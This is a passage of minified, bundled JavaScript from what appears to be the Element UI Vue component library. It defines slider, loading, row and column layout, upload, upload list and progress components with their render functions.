than max.\");var e=this.value;this.range&&Array.isArray(e)?e[1]<this.min?this.$emit(\"input\",[this.min,this.min]):e[0]>this.max?this.$emit(\"input\",[this.max,this.max]):e[0]<this.min?this.$emit(\"input\",[this.min,e[1]]):e[1]>this.max?this.$emit(\"input\",[e[0],this.max]):(this.firstValue=e[0],this.secondValue=e[1],this.valueChanged()&&(this.dispatch(\"ElFormItem\",\"el.form.change\",[this.minValue,this.maxValue]),this.oldValue=e.slice())):this.range||\"number\"!=typeof e||isNaN(e)||(e<this.min?this.$emit(\"input\",this.min):e>this.max?this.$emit(\"input\",this.max):(this.firstValue=e,this.valueChanged()&&(this.dispatch(\"ElFormItem\",\"el.form.change\",e),this.oldValue=e)))},setPosition:function(e){var t=this.min+e*(this.max-this.min)/100;if(!this.range)return void this.$refs.button1.setPosition(e);var i=void 0;i=Math.abs(this.minValue-t)<Math.abs(this.maxValue-t)?this.firstValue<this.secondValue?\"button1\":\"button2\":this.firstValue>this.secondValue?\"button1\":\"button2\",this.$refs[i].setPosition(e)},onSliderClick:function(e){if(!this.sliderDisabled&&!this.dragging){if(this.resetSize(),this.vertical){var t=this.$refs.slider.getBoundingClientRect().bottom;this.setPosition((t-e.clientY)/this.sliderSize*100)}else{var i=this.$refs.slider.getBoundingClientRect().left;this.setPosition((e.clientX-i)/this.sliderSize*100)}this.emitChange()}},resetSize:function(){this.$refs.slider&&(this.sliderSize=this.$refs.slider[\"client\"+(this.vertical?\"Height\":\"Width\")])},emitChange:function(){var e=this;this.$nextTick(function(){e.$emit(\"change\",e.range?[e.minValue,e.maxValue]:e.value)})}},computed:{stops:function(){var e=this;if(!this.showStops||this.min>this.max)return[];if(0===this.step)return[];for(var t=(this.max-this.min)/this.step,i=100*this.step/(this.max-this.min),n=[],s=1;s<t;s++)n.push(s*i);return this.range?n.filter(function(t){return t<100*(e.minValue-e.min)/(e.max-e.min)||t>100*(e.maxValue-e.min)/(e.max-e.min)}):n.filter(function(t){return t>100*(e.firstValue-e.min)/(e.max-e.min)})},minValue:function(){return Math.min(this.firstValue,this.secondValue)},maxValue:function(){return Math.max(this.firstValue,this.secondValue)},barSize:function(){return this.range?100*(this.maxValue-this.minValue)/(this.max-this.min)+\"%\":100*(this.firstValue-this.min)/(this.max-this.min)+\"%\"},barStart:function(){return this.range?100*(this.minValue-this.min)/(this.max-this.min)+\"%\":\"0%\"},precision:function(){var e=[this.min,this.max,this.step].map(function(e){var t=(\"\"+e).split(\".\")[1];return t?t.length:0});return Math.max.apply(null,e)},runwayStyle:function(){return this.vertical?{height:this.height}:{}},barStyle:function(){return this.vertical?{height:this.barSize,bottom:this.barStart}:{width:this.barSize,left:this.barStart}},sliderDisabled:function(){return this.disabled||(this.elForm||{}).disabled}},mounted:function(){var e=void 0;this.range?(Array.isArray(this.value)?(this.firstValue=Math.max(this.min,this.value[0]),this.secondValue=Math.min(this.max,this.value[1])):(this.firstValue=this.min,this.secondValue=this.max),this.oldValue=[this.firstValue,this.secondValue],e=this.firstValue+\"-\"+this.secondValue):(\"number\"!=typeof this.value||isNaN(this.value)?this.firstValue=this.min:this.firstValue=Math.min(this.max,Math.max(this.min,this.value)),this.oldValue=this.firstValue,e=this.firstValue),this.$el.setAttribute(\"aria-valuetext\",e),this.$el.setAttribute(\"aria-label\",this.label?this.label:\"slider between \"+this.min+\" and \"+this.max),this.resetSize(),window.addEventListener(\"resize\",this.resetSize)},beforeDestroy:function(){window.removeEventListener(\"resize\",this.resetSize)}}},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(374),s=i.n(n),r=i(375),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(33),s=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default={name:\"ElSliderButton\",components:{ElTooltip:s.default},props:{value:{type:Number,default:0},vertical:{type:Boolean,default:!1},tooltipClass:String},data:function(){return{hovering:!1,dragging:!1,isClick:!1,startX:0,currentX:0,startY:0,currentY:0,startPosition:0,newPosition:null,oldValue:this.value}},computed:{disabled:function(){return this.$parent.sliderDisabled},max:function(){return this.$parent.max},min:function(){return this.$parent.min},step:function(){return this.$parent.step},showTooltip:function(){return this.$parent.showTooltip},precision:function(){return this.$parent.precision},currentPosition:function(){return(this.value-this.min)/(this.max-this.min)*100+\"%\"},enableFormat:function(){return this.$parent.formatTooltip instanceof Function},formatValue:function(){return this.enableFormat&&this.$parent.formatTooltip(this.value)||this.value},wrapperStyle:function(){return this.vertical?{bottom:this.currentPosition}:{left:this.currentPosition}}},watch:{dragging:function(e){this.$parent.dragging=e}},methods:{displayTooltip:function(){this.$refs.tooltip&&(this.$refs.tooltip.showPopper=!0)},hideTooltip:function(){this.$refs.tooltip&&(this.$refs.tooltip.showPopper=!1)},handleMouseEnter:function(){this.hovering=!0,this.displayTooltip()},handleMouseLeave:function(){this.hovering=!1,this.hideTooltip()},onButtonDown:function(e){this.disabled||(e.preventDefault(),this.onDragStart(e),window.addEventListener(\"mousemove\",this.onDragging),window.addEventListener(\"touchmove\",this.onDragging),window.addEventListener(\"mouseup\",this.onDragEnd),window.addEventListener(\"touchend\",this.onDragEnd),window.addEventListener(\"contextmenu\",this.onDragEnd))},onLeftKeyDown:function(){this.disabled||(this.newPosition=parseFloat(this.currentPosition)-this.step/(this.max-this.min)*100,this.setPosition(this.newPosition))},onRightKeyDown:function(){this.disabled||(this.newPosition=parseFloat(this.currentPosition)+this.step/(this.max-this.min)*100,this.setPosition(this.newPosition))},onDragStart:function(e){this.dragging=!0,this.isClick=!0,\"touchstart\"===e.type&&(e.clientY=e.touches[0].clientY,e.clientX=e.touches[0].clientX),this.vertical?this.startY=e.clientY:this.startX=e.clientX,this.startPosition=parseFloat(this.currentPosition),this.newPosition=this.startPosition},onDragging:function(e){if(this.dragging){this.isClick=!1,this.displayTooltip(),this.$parent.resetSize();var t=0;\"touchmove\"===e.type&&(e.clientY=e.touches[0].clientY,e.clientX=e.touches[0].clientX),this.vertical?(this.currentY=e.clientY,t=(this.startY-this.currentY)/this.$parent.sliderSize*100):(this.currentX=e.clientX,t=(this.currentX-this.startX)/this.$parent.sliderSize*100),this.newPosition=this.startPosition+t,this.setPosition(this.newPosition)}},onDragEnd:function(){var e=this;this.dragging&&(setTimeout(function(){e.dragging=!1,e.hideTooltip(),e.isClick||(e.setPosition(e.newPosition),e.$parent.emitChange())},0),window.removeEventListener(\"mousemove\",this.onDragging),window.removeEventListener(\"touchmove\",this.onDragging),window.removeEventListener(\"mouseup\",this.onDragEnd),window.removeEventListener(\"touchend\",this.onDragEnd),window.removeEventListener(\"contextmenu\",this.onDragEnd))},setPosition:function(e){var t=this;if(null!==e&&!isNaN(e)){e<0?e=0:e>100&&(e=100);var i=100/((this.max-this.min)/this.step),n=Math.round(e/i),s=n*i*(this.max-this.min)*.01+this.min;s=parseFloat(s.toFixed(this.precision)),this.$emit(\"input\",s),this.$nextTick(function(){t.$refs.tooltip&&t.$refs.tooltip.updatePopper()}),this.dragging||this.value===this.oldValue||(this.oldValue=this.value)}}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{ref:\"button\",staticClass:\"el-slider__button-wrapper\",class:{hover:e.hovering,dragging:e.dragging},style:e.wrapperStyle,attrs:{tabindex:\"0\"},on:{mouseenter:e.handleMouseEnter,mouseleave:e.handleMouseLeave,mousedown:e.onButtonDown,touchstart:e.onButtonDown,focus:e.handleMouseEnter,blur:e.handleMouseLeave,keydown:[function(t){return\"button\"in t||!e._k(t.keyCode,\"left\",37,t.key)?\"button\"in t&&0!==t.button?null:void e.onLeftKeyDown(t):null},function(t){return\"button\"in t||!e._k(t.keyCode,\"right\",39,t.key)?\"button\"in t&&2!==t.button?null:void e.onRightKeyDown(t):null},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"down\",40,t.key))return null;t.preventDefault(),e.onLeftKeyDown(t)},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"up\",38,t.key))return null;t.preventDefault(),e.onRightKeyDown(t)}]}},[i(\"el-tooltip\",{ref:\"tooltip\",attrs:{placement:\"top\",\"popper-class\":e.tooltipClass,disabled:!e.showTooltip}},[i(\"span\",{attrs:{slot:\"content\"},slot:\"content\"},[e._v(e._s(e.formatValue))]),i(\"div\",{staticClass:\"el-slider__button\",class:{hover:e.hovering,dragging:e.dragging}})])],1)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{staticClass:\"el-slider\",class:{\"is-vertical\":e.vertical,\"el-slider--with-input\":e.showInput},attrs:{role:\"slider\",\"aria-valuemin\":e.min,\"aria-valuemax\":e.max,\"aria-orientation\":e.vertical?\"vertical\":\"horizontal\",\"aria-disabled\":e.sliderDisabled}},[e.showInput&&!e.range?i(\"el-input-number\",{ref:\"input\",staticClass:\"el-slider__input\",attrs:{step:e.step,disabled:e.sliderDisabled,controls:e.showInputControls,min:e.min,max:e.max,debounce:e.debounce,size:e.inputSize},on:{change:function(t){e.$nextTick(e.emitChange)}},model:{value:e.firstValue,callback:function(t){e.firstValue=t},expression:\"firstValue\"}}):e._e(),i(\"div\",{ref:\"slider\",staticClass:\"el-slider__runway\",class:{\"show-input\":e.showInput,disabled:e.sliderDisabled},style:e.runwayStyle,on:{click:e.onSliderClick}},[i(\"div\",{staticClass:\"el-slider__bar\",style:e.barStyle}),i(\"slider-button\",{ref:\"button1\",attrs:{vertical:e.vertical,\"tooltip-class\":e.tooltipClass},model:{value:e.firstValue,callback:function(t){e.firstValue=t},expression:\"firstValue\"}}),e.range?i(\"slider-button\",{ref:\"button2\",attrs:{vertical:e.vertical,\"tooltip-class\":e.tooltipClass},model:{value:e.secondValue,callback:function(t){e.secondValue=t},expression:\"secondValue\"}}):e._e(),e._l(e.stops,function(t,n){return e.showStops?i(\"div\",{key:n,staticClass:\"el-slider__stop\",style:e.vertical?{bottom:t+\"%\"}:{left:t+\"%\"}}):e._e()})],2)],1)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(378),r=n(s),o=i(381),a=n(o);t.default={install:function(e){e.use(r.default),e.prototype.$loading=a.default},directive:r.default,service:a.default}},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(2),r=n(s),o=i(89),a=n(o),l=i(5),u=i(14),c=i(90),d=n(c),h=r.default.extend(a.default),f={};f.install=function(e){if(!e.prototype.$isServer){var t=function(t,n){n.value?e.nextTick(function(){n.modifiers.fullscreen?(t.originalPosition=(0,l.getStyle)(document.body,\"position\"),t.originalOverflow=(0,l.getStyle)(document.body,\"overflow\"),t.maskStyle.zIndex=u.PopupManager.nextZIndex(),(0,l.addClass)(t.mask,\"is-fullscreen\"),i(document.body,t,n)):((0,l.removeClass)(t.mask,\"is-fullscreen\"),n.modifiers.body?(t.originalPosition=(0,l.getStyle)(document.body,\"position\"),[\"top\",\"left\"].forEach(function(e){var i=\"top\"===e?\"scrollTop\":\"scrollLeft\";t.maskStyle[e]=t.getBoundingClientRect()[e]+document.body[i]+document.documentElement[i]-parseInt((0,l.getStyle)(document.body,\"margin-\"+e),10)+\"px\"}),[\"height\",\"width\"].forEach(function(e){t.maskStyle[e]=t.getBoundingClientRect()[e]+\"px\"}),i(document.body,t,n)):(t.originalPosition=(0,l.getStyle)(t,\"position\"),i(t,t,n)))}):((0,d.default)(t.instance,function(e){t.domVisible=!1;var i=n.modifiers.fullscreen||n.modifiers.body?document.body:t;(0,l.removeClass)(i,\"el-loading-parent--relative\"),(0,l.removeClass)(i,\"el-loading-parent--hidden\"),t.instance.hiding=!1},300,!0),t.instance.visible=!1,t.instance.hiding=!0)},i=function(t,i,n){i.domVisible||\"none\"===(0,l.getStyle)(i,\"display\")||\"hidden\"===(0,l.getStyle)(i,\"visibility\")||(Object.keys(i.maskStyle).forEach(function(e){i.mask.style[e]=i.maskStyle[e]}),\"absolute\"!==i.originalPosition&&\"fixed\"!==i.originalPosition&&(0,l.addClass)(t,\"el-loading-parent--relative\"),n.modifiers.fullscreen&&n.modifiers.lock&&(0,l.addClass)(t,\"el-loading-parent--hidden\"),i.domVisible=!0,t.appendChild(i.mask),e.nextTick(function(){i.instance.hiding?i.instance.$emit(\"after-leave\"):i.instance.visible=!0}),i.domInserted=!0)};e.directive(\"loading\",{bind:function(e,i,n){var s=e.getAttribute(\"element-loading-text\"),r=e.getAttribute(\"element-loading-spinner\"),o=e.getAttribute(\"element-loading-background\"),a=e.getAttribute(\"element-loading-custom-class\"),l=n.context,u=new h({el:document.createElement(\"div\"),data:{text:l&&l[s]||s,spinner:l&&l[r]||r,background:l&&l[o]||o,customClass:l&&l[a]||a,fullscreen:!!i.modifiers.fullscreen}});e.instance=u,e.mask=u.$el,e.maskStyle={},i.value&&t(e,i)},update:function(e,i){e.instance.setText(e.getAttribute(\"element-loading-text\")),i.oldValue!==i.value&&t(e,i)},unbind:function(e,i){e.domInserted&&(e.mask&&e.mask.parentNode&&e.mask.parentNode.removeChild(e.mask),t(e,{value:!1,modifiers:i.modifiers}))}})}},t.default=f},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={data:function(){return{text:null,spinner:null,background:null,fullscreen:!0,visible:!1,customClass:\"\"}},methods:{handleAfterLeave:function(){this.$emit(\"after-leave\")},setText:function(e){this.text=e}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"transition\",{attrs:{name:\"el-loading-fade\"},on:{\"after-leave\":e.handleAfterLeave}},[i(\"div\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.visible,expression:\"visible\"}],staticClass:\"el-loading-mask\",class:[e.customClass,{\"is-fullscreen\":e.fullscreen}],style:{backgroundColor:e.background||\"\"}},[i(\"div\",{staticClass:\"el-loading-spinner\"},[e.spinner?i(\"i\",{class:e.spinner}):i(\"svg\",{staticClass:\"circular\",attrs:{viewBox:\"25 25 50 50\"}},[i(\"circle\",{staticClass:\"path\",attrs:{cx:\"50\",cy:\"50\",r:\"20\",fill:\"none\"}})]),e.text?i(\"p\",{staticClass:\"el-loading-text\"},[e._v(e._s(e.text))]):e._e()])])])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(2),r=n(s),o=i(89),a=n(o),l=i(5),u=i(14),c=i(90),d=n(c),h=i(10),f=n(h),p=r.default.extend(a.default),m={text:null,fullscreen:!0,body:!1,lock:!1,customClass:\"\"},v=void 0;p.prototype.originalPosition=\"\",p.prototype.originalOverflow=\"\",p.prototype.close=function(){var e=this;this.fullscreen&&(v=void 0),(0,d.default)(this,function(t){var i=e.fullscreen||e.body?document.body:e.target;(0,l.removeClass)(i,\"el-loading-parent--relative\"),(0,l.removeClass)(i,\"el-loading-parent--hidden\"),e.$el&&e.$el.parentNode&&e.$el.parentNode.removeChild(e.$el),e.$destroy()},300),this.visible=!1};var g=function(e,t,i){var n={};e.fullscreen?(i.originalPosition=(0,l.getStyle)(document.body,\"position\"),i.originalOverflow=(0,l.getStyle)(document.body,\"overflow\"),n.zIndex=u.PopupManager.nextZIndex()):e.body?(i.originalPosition=(0,l.getStyle)(document.body,\"position\"),[\"top\",\"left\"].forEach(function(t){var i=\"top\"===t?\"scrollTop\":\"scrollLeft\";n[t]=e.target.getBoundingClientRect()[t]+document.body[i]+document.documentElement[i]+\"px\"}),[\"height\",\"width\"].forEach(function(t){n[t]=e.target.getBoundingClientRect()[t]+\"px\"})):i.originalPosition=(0,l.getStyle)(t,\"position\"),Object.keys(n).forEach(function(e){i.$el.style[e]=n[e]})},b=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(!r.default.prototype.$isServer){if(e=(0,f.default)({},m,e),\"string\"==typeof e.target&&(e.target=document.querySelector(e.target)),e.target=e.target||document.body,e.target!==document.body?e.fullscreen=!1:e.body=!0,e.fullscreen&&v)return v;var t=e.body?document.body:e.target,i=new p({el:document.createElement(\"div\"),data:e});return g(e,t,i),\"absolute\"!==i.originalPosition&&\"fixed\"!==i.originalPosition&&(0,l.addClass)(t,\"el-loading-parent--relative\"),e.fullscreen&&e.lock&&(0,l.addClass)(t,\"el-loading-parent--hidden\"),t.appendChild(i.$el),r.default.nextTick(function(){i.visible=!0}),e.fullscreen&&(v=i),i}};t.default=b},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(383),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(384),s=i.n(n),r=i(385),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={name:\"ElIcon\",props:{name:String}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement;return(e._self._c||t)(\"i\",{class:\"el-icon-\"+e.name})},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(387),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={name:\"ElRow\",componentName:\"ElRow\",props:{tag:{type:String,default:\"div\"},gutter:Number,type:String,justify:{type:String,default:\"start\"},align:{type:String,default:\"top\"}},computed:{style:function(){var e={};return this.gutter&&(e.marginLeft=\"-\"+this.gutter/2+\"px\",e.marginRight=e.marginLeft),e}},render:function(e){return e(this.tag,{class:[\"el-row\",\"start\"!==this.justify?\"is-justify-\"+this.justify:\"\",\"top\"!==this.align?\"is-align-\"+this.align:\"\",{\"el-row--flex\":\"flex\"===this.type}],style:this.style},this.$slots.default)}}},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(389),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";t.__esModule=!0;var n=\"function\"==typeof Symbol&&\"symbol\"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&\"function\"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?\"symbol\":typeof e};t.default={name:\"ElCol\",props:{span:{type:Number,default:24},tag:{type:String,default:\"div\"},offset:Number,pull:Number,push:Number,xs:[Number,Object],sm:[Number,Object],md:[Number,Object],lg:[Number,Object],xl:[Number,Object]},computed:{gutter:function(){for(var e=this.$parent;e&&\"ElRow\"!==e.$options.componentName;)e=e.$parent;return e?e.gutter:0}},render:function(e){var t=this,i=[],s={};return this.gutter&&(s.paddingLeft=this.gutter/2+\"px\",s.paddingRight=s.paddingLeft),[\"span\",\"offset\",\"pull\",\"push\"].forEach(function(e){(t[e]||0===t[e])&&i.push(\"span\"!==e?\"el-col-\"+e+\"-\"+t[e]:\"el-col-\"+t[e])}),[\"xs\",\"sm\",\"md\",\"lg\",\"xl\"].forEach(function(e){\"number\"==typeof t[e]?i.push(\"el-col-\"+e+\"-\"+t[e]):\"object\"===n(t[e])&&function(){var n=t[e];Object.keys(n).forEach(function(t){i.push(\"span\"!==t?\"el-col-\"+e+\"-\"+t+\"-\"+n[t]:\"el-col-\"+e+\"-\"+n[t])})}()}),e(this.tag,{class:[\"el-col\",i],style:s},this.$slots.default)}}},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(391),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(392),s=i.n(n),r=i(0),o=r(s.a,null,!1,null,null,null);t.default=o.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}function s(){}t.__esModule=!0;var r=i(393),o=n(r),a=i(399),l=n(a),u=i(64),c=n(u),d=i(9),h=n(d);t.default={name:\"ElUpload\",mixins:[h.default],components:{ElProgress:c.default,UploadList:o.default,Upload:l.default},provide:function(){return{uploader:this}},inject:{elForm:{default:\"\"}},props:{action:{type:String,required:!0},headers:{type:Object,default:function(){return{}}},data:Object,multiple:Boolean,name:{type:String,default:\"file\"},drag:Boolean,dragger:Boolean,withCredentials:Boolean,showFileList:{type:Boolean,default:!0},accept:String,type:{type:String,default:\"select\"},beforeUpload:Function,beforeRemove:Function,onRemove:{type:Function,default:s},onChange:{type:Function,default:s},onPreview:{type:Function},onSuccess:{type:Function,default:s},onProgress:{type:Function,default:s},onError:{type:Function,default:s},fileList:{type:Array,default:function(){return[]}},autoUpload:{type:Boolean,default:!0},listType:{type:String,default:\"text\"},httpRequest:Function,disabled:Boolean,limit:Number,onExceed:{type:Function,default:s}},data:function(){return{uploadFiles:[],dragOver:!1,draging:!1,tempIndex:1}},computed:{uploadDisabled:function(){return this.disabled||(this.elForm||{}).disabled}},watch:{fileList:{immediate:!0,handler:function(e){var t=this;this.uploadFiles=e.map(function(e){return e.uid=e.uid||Date.now()+t.tempIndex++,e.status=e.status||\"success\",e})}}},methods:{handleStart:function(e){e.uid=Date.now()+this.tempIndex++;var t={status:\"ready\",name:e.name,size:e.size,percentage:0,uid:e.uid,raw:e};if(\"picture-card\"===this.listType||\"picture\"===this.listType)try{t.url=URL.createObjectURL(e)}catch(e){return void console.error(\"[Element Error][Upload]\",e)}this.uploadFiles.push(t),this.onChange(t,this.uploadFiles)},handleProgress:function(e,t){var i=this.getFile(t);this.onProgress(e,i,this.uploadFiles),i.status=\"uploading\",i.percentage=e.percent||0},handleSuccess:function(e,t){var i=this.getFile(t);i&&(i.status=\"success\",i.response=e,this.onSuccess(e,i,this.uploadFiles),this.onChange(i,this.uploadFiles))},handleError:function(e,t){var i=this.getFile(t),n=this.uploadFiles;i.status=\"fail\",n.splice(n.indexOf(i),1),this.onError(e,i,this.uploadFiles),this.onChange(i,this.uploadFiles)},handleRemove:function(e,t){var i=this;t&&(e=this.getFile(t));var n=function(){i.abort(e);var t=i.uploadFiles;t.splice(t.indexOf(e),1),i.onRemove(e,t)};if(this.beforeRemove){if(\"function\"==typeof this.beforeRemove){var r=this.beforeRemove(e,this.uploadFiles);r&&r.then?r.then(function(){n()},s):!1!==r&&n()}}else n()},getFile:function(e){var t=this.uploadFiles,i=void 0;return t.every(function(t){return!(i=e.uid===t.uid?t:null)}),i},abort:function(e){this.$refs[\"upload-inner\"].abort(e)},clearFiles:function(){this.uploadFiles=[]},submit:function(){var e=this;this.uploadFiles.filter(function(e){return\"ready\"===e.status}).forEach(function(t){e.$refs[\"upload-inner\"].upload(t.raw)})},getMigratingConfig:function(){return{props:{\"default-file-list\":\"default-file-list is renamed to file-list.\",\"show-upload-list\":\"show-upload-list is renamed to show-file-list.\",\"thumbnail-mode\":\"thumbnail-mode has been deprecated, you can implement the same effect according to this case: http://element.eleme.io/#/zh-CN/component/upload#yong-hu-tou-xiang-shang-chuan\"}}}},beforeDestroy:function(){this.uploadFiles.forEach(function(e){e.url&&0===e.url.indexOf(\"blob:\")&&URL.revokeObjectURL(e.url)})},render:function(e){var t=void 0;this.showFileList&&(t=e(o.default,{attrs:{disabled:this.uploadDisabled,listType:this.listType,files:this.uploadFiles,handlePreview:this.onPreview},on:{remove:this.handleRemove}},[]));var i={props:{type:this.type,drag:this.drag,action:this.action,multiple:this.multiple,\"before-upload\":this.beforeUpload,\"with-credentials\":this.withCredentials,headers:this.headers,name:this.name,data:this.data,accept:this.accept,fileList:this.uploadFiles,autoUpload:this.autoUpload,listType:this.listType,disabled:this.uploadDisabled,limit:this.limit,\"on-exceed\":this.onExceed,\"on-start\":this.handleStart,\"on-progress\":this.handleProgress,\"on-success\":this.handleSuccess,\"on-error\":this.handleError,\"on-preview\":this.onPreview,\"on-remove\":this.handleRemove,\"http-request\":this.httpRequest},ref:\"upload-inner\"},n=this.$slots.trigger||this.$slots.default,s=e(\"upload\",i,[n]);return e(\"div\",null,[\"picture-card\"===this.listType?t:\"\",this.$slots.trigger?[s,this.$slots.default]:s,this.$slots.tip,\"picture-card\"!==this.listType?t:\"\"])}}},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(394),s=i.n(n),r=i(398),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(6),r=n(s),o=i(64),a=n(o);t.default={name:\"ElUploadList\",mixins:[r.default],data:function(){return{focusing:!1}},components:{ElProgress:a.default},props:{files:{type:Array,default:function(){return[]}},disabled:{type:Boolean,default:!1},handlePreview:Function,listType:String},methods:{parsePercentage:function(e){return parseInt(e,10)},handleClick:function(e){this.handlePreview&&this.handlePreview(e)}}}},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(396),s=i.n(n),r=i(397),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={name:\"ElProgress\",props:{type:{type:String,default:\"line\",validator:function(e){return[\"line\",\"circle\"].indexOf(e)>-1}},percentage:{type:Number,default:0,required:!0,validator:function(e){return e>=0&&e<=100}},status:{type:String,validator:function(e){return[\"text\",\"success\",\"exception\"].indexOf(e)>-1}},strokeWidth:{type:Number,default:6},textInside:{type:Boolean,default:!1},width:{type:Number,default:126},showText:{type:Boolean,default:!0},color:{type:String,default:\"\"}},computed:{barStyle:function(){var e={};return e.width=this.percentage+\"%\",e.backgroundColor=this.color,e},relativeStrokeWidth:function(){return(this.strokeWidth/this.width*100).toFixed(1)},trackPath:function(){var e=parseInt(50-parseFloat(this.relativeStrokeWidth)/2,10);return\"M 50 50 m 0 -\"+e+\" a \"+e+\" \"+e+\" 0 1 1 0 \"+2*e+\" a \"+e+\" \"+e+\" 0 1 1 0 -\"+2*e},perimeter:function(){var e=50-parseFloat(this.relativeStrokeWidth)/2;return 2*Math.PI*e},circlePathStyle:function(){var e=this.perimeter;return{strokeDasharray:e+\"px,\"+e+\"px\",strokeDashoffset:(1-this.percentage/100)*e+\"px\",transition:\"stroke-dashoffset 0.6s ease 0s, stroke 0.6s ease\"}},stroke:function(){var e=void 0;if(this.color)e=this.color;else switch(this.status){case\"success\":e=\"#13ce66\";break;case\"exception\":e=\"#ff4949\";break;default:e=\"#20a0ff\"}return e},iconClass:function(){return\"line\"===this.type?\"success\"===this.status?\"el-icon-circle-check\":\"el-icon-circle-close\":\"success\"===this.status?\"el-icon-check\":\"el-icon-close\"},progressTextSize:function(){return\"line\"===this.type?12+.4*this.strokeWidth:.111111*this.width+2}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{staticClass:\"el-progress\",class:[\"el-progress--\"+e.type,e.status?\"is-\"+e.status:\"\",{\"el-progress--without-text\":!e.showText,\"el-progress--text-inside\":e.textInside}],attrs:{role:\"progressbar\",\"aria-valuenow\":e.percentage,\"aria-valuemin\":\"0\",\"aria-valuemax\":\"100\"}},[\"line\"===e.type?i(\"div\",{staticClass:\"el-progress-bar\"},[i(\"div\",{staticClass:\"el-progress-bar__outer\",style:{height:e.strokeWidth+\"px\"}},[i(\"div\",{staticClass:\"el-progress-bar__inner\",style:e.barStyle},[e.showText&&e.textInside?i(\"div\",{staticClass:\"el-progress-bar__innerText\"},[e._v(e._s(e.percentage)+\"%\")]):e._e()])])]):i(\"div\",{staticClass:\"el-progress-circle\",style:{height:e.width+\"px\",width:e.width+\"px\"}},[i(\"svg\",{attrs:{viewBox:\"0 0 100 100\"}},[i(\"path\",{staticClass:\"el-progress-circle__track\",attrs:{d:e.trackPath,stroke:\"#e5e9f2\",\"stroke-width\":e.relativeStrokeWidth,fill:\"none\"}}),i(\"path\",{staticClass:\"el-progress-circle__path\",style:e.circlePathStyle,attrs:{d:e.trackPath,\"stroke-linecap\":\"round\",stroke:e.stroke,\"stroke-width\":e.relativeStrokeWidth,fill:\"none\"}})])]),e.showText&&!e.textInside?i(\"div\",{staticClass:\"el-progress__text\",style:{fontSize:e.progressTextSize+\"px\"}},[e.status?[\"text\"===e.status?e._t(\"default\"):i(\"i\",{class:e.iconClass})]:[e._v(e._s(e.percentage)+\"%\")]],2):e._e()])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"transition-group\",{class:[\"el-upload-list\",\"el-upload-list--\"+e.listType,{\"is-disabled\":e.disabled}],attrs:{tag:\"ul\",name:\"el-list\"}},e._l(e.files,function(t){return i(\"li\",{key:t.uid,class:[\"el-upload-list__item\",\"is-\"+t.status,e.focusing?\"focusing\":\"\"],attrs:{tabindex:\"0\"},on:{keydown:function(i){if(!(\"button\"in i)&&e._k(i.keyCode,\"delete\",[8,46],i.key))return null;!e.disabled&&e.$emit(\"remove\",t)},focus:function(t){e.focusing=!0},blur:function(t){e.focusing=!1},click:function(t){e.focusing=!1}}},[\"uploading\"!==t.status&&[\"picture-card\",\"picture\"].indexOf(e.listType)>-1?i(\"img\",{staticClass:\"el-upload-list__item-thumbnail\",attrs:{src:t.url,alt:\"\"}}):e._e(),i(\"a\",{staticClass:\"el-upload-list__item-name\",on:{click:function(i){e.handleClick(t)}}},[i(\"i\",{staticClass:\"el-icon-document\"}),e._v(e._s(t.name)+\"\\n    